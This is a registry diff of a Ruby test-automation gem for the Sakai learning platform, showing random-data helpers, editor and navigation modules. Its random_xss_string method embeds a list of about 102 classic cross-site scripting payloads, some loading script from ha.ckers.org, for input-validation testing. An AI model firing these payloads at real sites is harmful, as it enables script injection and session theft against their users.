sambal-cle 0.1.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (90) hide show
  1. data/README.md +4 -0
  2. data/lib/sambal-cle/base_page.rb +20 -0
  3. data/lib/sambal-cle/core-ext.rb +90 -0
  4. data/lib/sambal-cle/data_objects/announcement.rb +82 -0
  5. data/lib/sambal-cle/data_objects/assessment.rb +32 -0
  6. data/lib/sambal-cle/data_objects/assignment.rb +205 -0
  7. data/lib/sambal-cle/data_objects/blog.rb +46 -0
  8. data/lib/sambal-cle/data_objects/blogger.rb +49 -0
  9. data/lib/sambal-cle/data_objects/chat_room.rb +54 -0
  10. data/lib/sambal-cle/data_objects/event.rb +89 -0
  11. data/lib/sambal-cle/data_objects/forum.rb +212 -0
  12. data/lib/sambal-cle/data_objects/lesson.rb +185 -0
  13. data/lib/sambal-cle/data_objects/message.rb +57 -0
  14. data/lib/sambal-cle/data_objects/poll.rb +74 -0
  15. data/lib/sambal-cle/data_objects/resource.rb +209 -0
  16. data/lib/sambal-cle/data_objects/site.rb +295 -0
  17. data/lib/sambal-cle/data_objects/syllabus.rb +73 -0
  18. data/lib/sambal-cle/data_objects/web_content_tool.rb +51 -0
  19. data/lib/sambal-cle/data_objects/wiki.rb +63 -0
  20. data/lib/sambal-cle/date_makers.rb +118 -0
  21. data/lib/sambal-cle/gem_ext.rb +23 -0
  22. data/lib/sambal-cle/page_helper.rb +22 -0
  23. data/lib/sambal-cle/page_maker.rb +48 -0
  24. data/lib/sambal-cle/page_objects/account.rb +111 -0
  25. data/lib/sambal-cle/page_objects/aliases.rb +43 -0
  26. data/lib/sambal-cle/page_objects/announcements.rb +190 -0
  27. data/lib/sambal-cle/page_objects/assessments.rb +874 -0
  28. data/lib/sambal-cle/page_objects/assignments.rb +770 -0
  29. data/lib/sambal-cle/page_objects/basic_lti.rb +6 -0
  30. data/lib/sambal-cle/page_objects/blogger.rb +205 -0
  31. data/lib/sambal-cle/page_objects/blogs.rb +60 -0
  32. data/lib/sambal-cle/page_objects/calendar.rb +330 -0
  33. data/lib/sambal-cle/page_objects/calendar_summary.rb +1 -0
  34. data/lib/sambal-cle/page_objects/chat_room.rb +22 -0
  35. data/lib/sambal-cle/page_objects/drop_box.rb +9 -0
  36. data/lib/sambal-cle/page_objects/email_archive.rb +22 -0
  37. data/lib/sambal-cle/page_objects/entity_picker.rb +62 -0
  38. data/lib/sambal-cle/page_objects/evaluations.rb +158 -0
  39. data/lib/sambal-cle/page_objects/feedback.rb +36 -0
  40. data/lib/sambal-cle/page_objects/forms.rb +120 -0
  41. data/lib/sambal-cle/page_objects/forums.rb +254 -0
  42. data/lib/sambal-cle/page_objects/glossary.rb +117 -0
  43. data/lib/sambal-cle/page_objects/gradebook.rb +29 -0
  44. data/lib/sambal-cle/page_objects/gradebook2.rb +17 -0
  45. data/lib/sambal-cle/page_objects/home.rb +36 -0
  46. data/lib/sambal-cle/page_objects/jforums.rb +444 -0
  47. data/lib/sambal-cle/page_objects/job_scheduler.rb +121 -0
  48. data/lib/sambal-cle/page_objects/lessons.rb +361 -0
  49. data/lib/sambal-cle/page_objects/login.rb +28 -0
  50. data/lib/sambal-cle/page_objects/matrix.rb +241 -0
  51. data/lib/sambal-cle/page_objects/media_gallery.rb +13 -0
  52. data/lib/sambal-cle/page_objects/messages.rb +622 -0
  53. data/lib/sambal-cle/page_objects/my_workspace.rb +44 -0
  54. data/lib/sambal-cle/page_objects/news.rb +8 -0
  55. data/lib/sambal-cle/page_objects/podcasts.rb +27 -0
  56. data/lib/sambal-cle/page_objects/polls.rb +69 -0
  57. data/lib/sambal-cle/page_objects/portfolio_templates.rb +161 -0
  58. data/lib/sambal-cle/page_objects/portfolios.rb +162 -0
  59. data/lib/sambal-cle/page_objects/post_em.rb +1 -0
  60. data/lib/sambal-cle/page_objects/profile.rb +51 -0
  61. data/lib/sambal-cle/page_objects/profile2.rb +344 -0
  62. data/lib/sambal-cle/page_objects/public_search.rb +61 -0
  63. data/lib/sambal-cle/page_objects/realms.rb +19 -0
  64. data/lib/sambal-cle/page_objects/resources.rb +326 -0
  65. data/lib/sambal-cle/page_objects/resources_roster.rb +0 -0
  66. data/lib/sambal-cle/page_objects/rosters.rb +70 -0
  67. data/lib/sambal-cle/page_objects/rwiki.rb +34 -0
  68. data/lib/sambal-cle/page_objects/search.rb +34 -0
  69. data/lib/sambal-cle/page_objects/sections.rb +295 -0
  70. data/lib/sambal-cle/page_objects/single_user.rb +1 -0
  71. data/lib/sambal-cle/page_objects/site_setup.rb +621 -0
  72. data/lib/sambal-cle/page_objects/site_statistics.rb +1 -0
  73. data/lib/sambal-cle/page_objects/sites.rb +255 -0
  74. data/lib/sambal-cle/page_objects/styles.rb +74 -0
  75. data/lib/sambal-cle/page_objects/syllabus.rb +166 -0
  76. data/lib/sambal-cle/page_objects/user_membership.rb +57 -0
  77. data/lib/sambal-cle/page_objects/users.rb +88 -0
  78. data/lib/sambal-cle/randomizers.rb +117 -0
  79. data/lib/sambal-cle/rich_text.rb +38 -0
  80. data/lib/sambal-cle/utilities.rb +31 -0
  81. data/lib/sambal-cle/workflows.rb +223 -0
  82. data/lib/sambal-cle.rb +31 -0
  83. data/sambal-cle.gemspec +14 -0
  84. data/test/add_assignment_to_calendar_spec.rb +86 -0
  85. data/test/assignment_announcements_spec.rb +71 -0
  86. data/test/assignment_gradebook_spec.rb +98 -0
  87. data/test/config.yml.template +4 -0
  88. data/test/directory.yml.template +123 -0
  89. data/test/duplicate_site_spec.rb +244 -0
  90. metadata +167 -0
@@ -0,0 +1,117 @@
1
+ # coding: UTF-8
2
+ module Randomizers
3
+
4
+ # A random string creator that draws from all printable ASCII characters
5
+ # from 33 to 128. Default length is 10 characters.
6
+ def random_string(length=10, s="")
7
+ length.enum_for(:times).inject(s) do |result, index|
8
+ s << rand(93) + 33
9
+ end
10
+ end
11
+
12
+ # A random string creator that draws from all printable ASCII and High ASCII characters
13
+ # from 33 to 256. Default length is 10 characters.
14
+ def random_high_ascii(length=10, s="")
15
+ length.enum_for(:times).inject(s) do |result, index|
16
+ s << rand(223) + 33
17
+ end
18
+ end
19
+
20
+ # A "friendlier" random string generator. No characters need to be escaped for valid URLs.
21
+ # Uses no Reserved or "Unsafe" characters.
22
+ # Also excludes the comma, the @ sign and the plus sign. Default length is 10 characters.
23
+ def random_nicelink(length=10)
24
+ chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ - .}
25
+ (0...length).map { chars[rand(chars.size)]}.join
26
+ end
27
+
28
+ # Returns a string that is properly formatted like an email address.
29
+ # The string returned defaults to 268 characters long.
30
+ # Including a number between 1 and 62 will shrink this string by 62 minus the specified
31
+ # value.
32
+ def random_email(x=62)
33
+ x > 62 ? x=62 : x=x
34
+ chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # $ % & ' * + - / = ? ^ _ ` { | } ~}
35
+ random_alphanums(1) + (0...x).map { chars[rand(chars.size)]}.join + random_alphanums(1) + "@" + random_alphanums(60) + ".com"
36
+ end
37
+
38
+ # A random string generator that uses all characters
39
+ # available on an American Qwerty keyboard.
40
+ def random_alphanums_plus(length=10, s="")
41
+ chars = %w{ a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ` ~ ! @ # $% ^ & * ( ) _ + - = { } [ ] \ : " ; ' < > ? , . / }
42
+ length.times { s << chars[rand(chars.size)] }
43
+ s.to_s
44
+ end
45
+
46
+ # A random string generator that uses only letters and numbers in the string. Default length is 10 characters.
47
+ def random_alphanums(length=10, s="")
48
+ chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ0123456789'
49
+ length.times { s << chars[rand(chars.size)] }
50
+ s.to_s
51
+ end
52
+
53
+ # A random string generator that uses only lower case letters.
54
+ def random_letters(length=10, s="")
55
+ chars = 'abcdefghjkmnpqrstuvwxyz'
56
+ length.times { s << chars[rand(chars.size)] }
57
+ s.to_s
58
+ end
59
+
60
+ # Returns a block of text (of the specified type, see below) containing
61
+ # the specified number of "words" (each containing between 1 and 16 chars)
62
+ # randomly spread across the specified number of lines (note that
63
+ # the method does not allow the line count to be larger than
64
+ # the word count and will "fix" it if it is).
65
+ #
66
+ # If no parameters are provided, the method will return two alphanumeric
67
+ # "words" on two lines.
68
+ #
69
+ # The last parameter the method takes will determine the character content
70
+ # of the string, viz.:
71
+ #
72
+ # :alpha => "Alphanumeric" - Uses the random_alphanums method
73
+ # :string => uses the random_string method, so chars 33 through 128 will be included
74
+ # :ascii => All ASCII chars from 33 to 256 are fair game -> uses random_high_ascii
75
+ def random_multiline(word_count=2, line_count=2, char_type=:alpha)
76
+ char_methods = {:alpha=>"random_alphanums(rand(16)+1)", :string=>"random_string(rand(16)+1)", :ascii=>"random_high_ascii(rand(16)+1)"}
77
+ if line_count > word_count
78
+ line_count = word_count - 1
79
+ end
80
+ words = []
81
+ non_words = []
82
+ word_count.times { words << eval(char_methods[char_type]) } # creating the words, adding to the array
83
+ (line_count - 1).times { non_words << "\n" } # adding the number of line feeds
84
+ unless word_count==line_count
85
+ (word_count - line_count - 1).times { non_words << " " } # adding the right number of spaces
86
+ end
87
+ non_words.shuffle! # Have to shuffle the line feeds around!
88
+ array = words.zip(non_words)
89
+ array.flatten!
90
+ array.join("")
91
+ end
92
+
93
+ # Picks at random from the list of XSS test strings, using
94
+ # the provided number as size of the list to choose from.
95
+ # It will randomly pre-pend the string with HTML closing tags.
96
+ #
97
+ # The strings are organized by length, with the shorter ones
98
+ # first. There are 102 strings.
99
+ def random_xss_string(number=102)
100
+ if number > 102
101
+ number = 102
102
+ end
103
+ xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">", "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\" &#14; javascript:alert('XSS');\">", "<IMG SRC=javascript:alert(&quot;XSS&quot;)>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>", "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B>&lt;IMG SRC=\"javas<!-- -->cript:alert('XSS')\"&gt;</B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
104
+ x = rand(4)
105
+ case(x)
106
+ when 0
107
+ return xss[rand(number)]
108
+ when 1
109
+ return %|"| + xss[rand(number)]
110
+ when 2
111
+ return %|">| + xss[rand(number)]
112
+ when 3
113
+ return %|>| + xss[rand(number)]
114
+ end
115
+
116
+ end
117
+ end
@@ -0,0 +1,38 @@
1
+ module FCKEditor
2
+
3
+ # This has to be defined this way because there several pages
4
+ # that have multiple rich text editors.
5
+ def source(editor)
6
+ editor.div(:title=>/Source/).wait_until_present
7
+ editor.div(:title=>/Source/).click
8
+ end
9
+
10
+ def select_all(editor)
11
+ editor.div(:title=>"Select All").wait_until_present
12
+ editor.div(:title=>"Select All").click
13
+ end
14
+
15
+ def enter_source_text(editor, text)
16
+ source(editor)
17
+ source_field(editor).wait_until_present
18
+ source_field(editor).set text
19
+ end
20
+
21
+ def get_source_text(editor)
22
+ source(editor)
23
+ source_field(editor).wait_until_present
24
+ source_field(editor).value
25
+ end
26
+
27
+ def entity_picker(editor)
28
+ editor.div(:title=>"Sakai_Entity_Link").wait_until_present
29
+ editor.div(:title=>"Sakai_Entity_Link").click
30
+ @browser.frame(:index=>2).frame(:id=>"frmMain").button(:value=>"Browse Server").click
31
+ @browser.window(:index=>1).use
32
+ end
33
+
34
+ def source_field(editor)
35
+ editor.text_field(:class=>"SourceField")
36
+ end
37
+
38
+ end
@@ -0,0 +1,31 @@
1
+ # coding: UTF-8
2
+
3
+ module Utilities
4
+
5
+ # Strips the file name away from the path information.
6
+ #
7
+ # This way it's not necessary to define variables for BOTH the
8
+ # file name and the file path + file name. Just define the
9
+ # path + name and then use this method to extract only the filename
10
+ # portion.
11
+ #
12
+ # NOTE: This may be deprecated in the future, so think hard before
13
+ # using it.
14
+ def get_filename(path_plus_name_string)
15
+ path_plus_name_string =~ /(?<=\/).+/
16
+ return $~.to_s
17
+ end
18
+
19
+ # Shorthand method for making a data object for testing.
20
+ def make data_object_class, opts={}
21
+ data_object_class.new @browser, opts
22
+ end
23
+
24
+ # Transform for use with data object instance variables
25
+ # that refer to checkboxes or radio buttons.
26
+ def checkbox_setting(checkbox)
27
+ checkbox.set? ? :set : :clear
28
+ end
29
+ alias radio_setting checkbox_setting
30
+
31
+ end
@@ -0,0 +1,223 @@
1
+ # Workflows is a module containing helper navigation methods
2
+ module Workflows
3
+
4
+ def self.menu_link name, opts={}
5
+ define_method name.to_s do
6
+ @browser.link(opts).click
7
+ end
8
+ end
9
+
10
+ # Opens "My Sites" and then clicks on the matching
11
+ # Site name. Shortens the name used for search so
12
+ # that truncated names are not a problem.
13
+ # Should be followed by the Home class.
14
+ #
15
+ # Will error out if there are not matching links.
16
+ def open_my_site_by_name(name)
17
+ truncated_name = name[0..19]
18
+ @browser.link(:text, "My Sites").click
19
+ @browser.link(:text, /#{Regexp.escape(truncated_name)}/).click
20
+ end
21
+
22
+ # Clicks the "Account" link in the Adminstration Workspace
23
+ # Should be followed by the UserAccount class.
24
+ #
25
+ # Throws an error if the link is not present.
26
+ menu_link :account, :text=>"Account"
27
+
28
+ # Clicks the "Aliases" link in the Administration Workspace
29
+ # menu, then should be followed by the Aliases class.
30
+ menu_link :aliases, :text=>"Aliases"
31
+
32
+ # Clicks the link for the Administration Workspace, then
33
+ # should be followed by the MyWorkspace class.
34
+ menu_link :administration_workspace, :text=>"Administration Workspace"
35
+
36
+ # Clicks the Announcements link goes to
37
+ # the Announcements class.
38
+ menu_link :announcements, :class=>'icon-sakai-announcements'
39
+
40
+ # Clicks the Assignments link, goes to
41
+ # the AssignmentsList class.
42
+ menu_link :assignments, :class=>"icon-sakai-assignment-grades"
43
+
44
+ # BasicLTI class
45
+ menu_link :basic_lti, :class=>"icon-sakai-basiclti"
46
+
47
+ # Blogs class
48
+ menu_link :blogs, :class=>"icon-sakai-blogwow"
49
+
50
+ # Clicks the Blogger link in the Site menu and
51
+ # instantiates the Blogger Class.
52
+ menu_link :blogger, :class=>"icon-blogger"
53
+
54
+ # Clicks the Calendar link, then instantiates
55
+ # the Calendar class.
56
+ menu_link :calendar, :text=>"Calendar"
57
+
58
+ menu_link :certification, :text=>"Certification"
59
+
60
+ # ChatRoom class
61
+ menu_link :chat_room, :class=>"icon-sakai-chat"
62
+
63
+ menu_link :configuration_viewer, :text=>"Configuration Viewer"
64
+ menu_link :customizer, :text=>"Customizer"
65
+
66
+ # JForum page class.
67
+ menu_link :discussion_forums, :class=>"icon-sakai-jforum-tool"
68
+
69
+ # DropBox class
70
+ menu_link :drop_box, :class=>"icon-sakai-dropbox"
71
+
72
+ menu_link :email, :text=>"Email"
73
+
74
+ # Email Archive class
75
+ menu_link :email_archive, :class=>"icon-sakai-mailbox"
76
+
77
+ menu_link :email_template_administration, :text=>"Email Template Administration"
78
+
79
+ # EvaluationSystem class
80
+ menu_link :evaluation_system, :class=>"icon-sakai-rsf-evaluation"
81
+
82
+ # Feedback class
83
+ menu_link :feedback, :class=>"icon-sakai-postem"
84
+
85
+ # Forms class
86
+ menu_link :forms, :text=>"Forms", :class=>"icon-sakai-metaobj"
87
+
88
+ # Forums class.
89
+ menu_link :forums, :text=>"Forums"
90
+
91
+ # Glossary Class.
92
+ menu_link :glossary, :text=>"Glossary"
93
+
94
+ # Gradebook Class.
95
+ menu_link :gradebook, :text=>"Gradebook"
96
+
97
+ # Gradebook2 class
98
+ menu_link :gradebook2, :text=>"Gradebook2"
99
+
100
+ menu_link :help, :text=>"Help"
101
+
102
+ # Home class--unless the target page happens to be
103
+ # My Workspace, in which case the MyWorkspace
104
+ # page should be used.
105
+ menu_link :home, :text=>"Home"
106
+
107
+ # Job Scheduler class.
108
+ menu_link :job_scheduler, :text=>"Job Scheduler"
109
+
110
+ # Lessons class
111
+ menu_link :lessons, :text=>"Lessons"
112
+
113
+ menu_link :lesson_builder, :text=>"Lesson Builder"
114
+ menu_link :link_tool, :text=>"Link Tool"
115
+ menu_link :live_virtual_classroom, :text=>"Live Virtual Classroom"
116
+
117
+ # Matrices Class
118
+ menu_link :matrices, :text=>"Matrices"
119
+
120
+ # MediaGallery class
121
+ menu_link :media_gallery, :class=>"icon-sakai-kaltura"
122
+
123
+ menu_link :membership, :text=>"Membership"
124
+ menu_link :memory, :text=>"Memory"
125
+
126
+ # Messages class.
127
+ menu_link :messages, :text=>"Messages"
128
+ menu_link :my_sites, :text=>"My Sites"
129
+
130
+ # MyWorkspace Class.
131
+ menu_link :my_workspace, :text=>"My Workspace"
132
+
133
+ # News
134
+ menu_link :news, :class=>"icon-sakai-news"
135
+
136
+ menu_link :online, :text=>"On-Line"
137
+ menu_link :oauth_providers, :text=>"Oauth Providers"
138
+ menu_link :oauth_tokens, :text=>"Oauth Tokens"
139
+ menu_link :openSyllabus, :text=>"OpenSyllabus"
140
+
141
+ # Podcasts
142
+ menu_link :podcasts, :class=>"icon-sakai-podcasts"
143
+
144
+ # Polls class
145
+ menu_link :polls, :class=>"icon-sakai-poll"
146
+
147
+ # Portfolios class
148
+ menu_link :portfolios, :class=>"icon-osp-presentation"
149
+
150
+ # PortfolioTemplates
151
+ menu_link :portfolio_templates, :text=>"Portfolio Templates"
152
+
153
+ menu_link :preferences, :text=>"Preferences"
154
+
155
+ menu_link :profile, :text=>"Profile"
156
+
157
+ # Profile2 class
158
+ menu_link :profile2, :class=>"icon-sakai-profile2"
159
+
160
+ menu_link :realms, :text=>"Realms"
161
+
162
+ # Resources class.
163
+ menu_link :resources, :text=>"Resources"
164
+
165
+ # Roster
166
+ menu_link :roster, :class=>"icon-sakai-site-roster"
167
+
168
+ menu_link :rsmart_support, :text=>"rSmart Support"
169
+
170
+ # Because "Search" is used in many pages,
171
+ # The Search button found in the Site Management
172
+ # Menu must be given the more explicit name
173
+ menu_link :site_management_search, :class=>"icon-sakai-search"
174
+
175
+ # Sections
176
+ menu_link :sections, :class=>"icon-sakai-sections"
177
+
178
+ menu_link :site_archive, :text=>"Site Archive"
179
+
180
+ # SiteEditor class.
181
+ menu_link :site_editor, :text=>"Site Editor"
182
+
183
+ # SiteSetup class.
184
+ menu_link :site_setup, :text=>"Site Setup"
185
+
186
+ menu_link :site_statistics, :text=>"Site Statistics"
187
+
188
+ # Sites class.
189
+ menu_link :sites, :class=>"icon-sakai-sites"
190
+
191
+ menu_link :skin_manager, :text=>"Skin Manager"
192
+ menu_link :super_user, :text=>"Super User"
193
+
194
+ # Styles
195
+ menu_link :styles, :text=>"Styles"
196
+
197
+ # Syllabus class.
198
+ menu_link :syllabus, :text=>"Syllabus"
199
+
200
+ # AssessmentsList class OR the TakeAssessmentList for students
201
+ menu_link :assessments, :class=>"icon-sakai-samigo"
202
+
203
+ # UserMembership
204
+ menu_link :user_membership, :class=>"icon-sakai-usermembership"
205
+
206
+ # Users
207
+ menu_link :users, :class=>"icon-sakai-users"
208
+
209
+ # WebContent
210
+ menu_link :web_content, :class=>"icon-sakai-iframe"
211
+
212
+ # Wikis
213
+ menu_link :wiki, :class=>"icon-sakai-rwiki"
214
+
215
+ # The Page Reset button, found on all Site pages
216
+ menu_link :reset, :href=>/tool-reset/
217
+
218
+ # Login class.
219
+ menu_link :logout, :text=>"Logout"
220
+ alias :log_out :logout
221
+ alias :sign_out :logout
222
+
223
+ end
data/lib/sambal-cle.rb ADDED
@@ -0,0 +1,31 @@
1
+ require 'cgi'
2
+ require 'watir-webdriver'
3
+ require 'sambal-cle/page_maker.rb'
4
+ Dir["#{File.dirname(__FILE__)}/sambal-cle/*.rb"].each {|f| require f }
5
+ Dir["#{File.dirname(__FILE__)}/sambal-cle/page_objects/*.rb"].each {|f| require f }
6
+ Dir["#{File.dirname(__FILE__)}/sambal-cle/data_objects/*.rb"].each {|f| require f }
7
+
8
+ # Initialize this class at the start of your test cases to
9
+ # open the specified test browser at the specified Sakai welcome page URL.
10
